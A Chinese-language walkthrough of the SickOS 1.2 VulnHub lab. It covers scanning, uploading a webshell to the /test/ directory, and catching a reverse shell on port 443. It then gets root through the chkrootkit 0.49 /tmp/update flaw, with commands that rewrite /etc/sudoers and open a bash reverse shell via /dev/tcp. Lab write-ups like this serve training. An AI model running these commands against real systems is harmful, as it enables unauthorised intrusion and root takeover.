vulnhub靶场-sickos1.2

vulnhub靶场–靶场

信息收集

主机发现

ipconfig查看kali IP

端口扫描

nmap 192.168.17.0/24

目录扫描

dirsearch -u http://192.168.17.136:80

dirb http://192.168.17.136

可以访问的目录有

http://192.168.17.136/test/
http://192.168.17.136/index.php

渗透攻击

在http://192.168.17.136/test/目录页面抓包发现可以使用POST方式

上传一句话木马试试


蚁剑连接

上传一个大马


然后监听9955端口然后nc监听访问nc -vnlp 9955

WARNING: Failed to daemonise. This is quite common and not fatal. Connection timed out (110)
防火墙过滤规则本地端口只允许22和80，外来端口只允许8080和443，用来保证对外部https服务的正常访问,这里需要将端口改为443端口就可以直接接到shell啦。

后渗透攻击

接到反弹shell后第一件事是获取一个完整交互终端

python -c "import pty;pty.spawn('/bin/bash');"

上面的代码只是获取一个可交互的一个终端但是它不可以使用上下键去翻看之前的执行的代码。

我之前也一直是使用的上面的那个交互终端，也慢慢的习惯啦但是这个终端是一个完整的交互终端及其好用呀

sudo -l 查看一下sudo执行文件

还不知道密码
那就查看一下suid执行文件
find / -perm -u=s -type f 2>/dev/null
没有什么特别的
查看计划任务
find / -name cron* 2>/dev/null

查看下每日任务，发现运行着一个rootkit后门检测工具

查看版本

searchsploit chkrootkit 0.49

查看存在漏洞

意思就是/tmp/update下的文件会以root权限定期执行
这里就有两个骚方法啦一个是写bashshell弹到我们监听的端口上或者就是将www-date添加到sudo组
echo ‘chmod +w /etc/sudoers && echo “www-data ALL=(ALL) NOPASSWD:ALL” > /etc/sudoers’ > /tmp/update


另一种方法
根据exp的描述是目标靶机的Chkrootkit会周期性以root身份执行目录/tmp/update的文件，所以创建一个shell脚本

printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.17.128/8080 0>&1\n' > /tmp/update

然后监听8080端口
就是root权限啦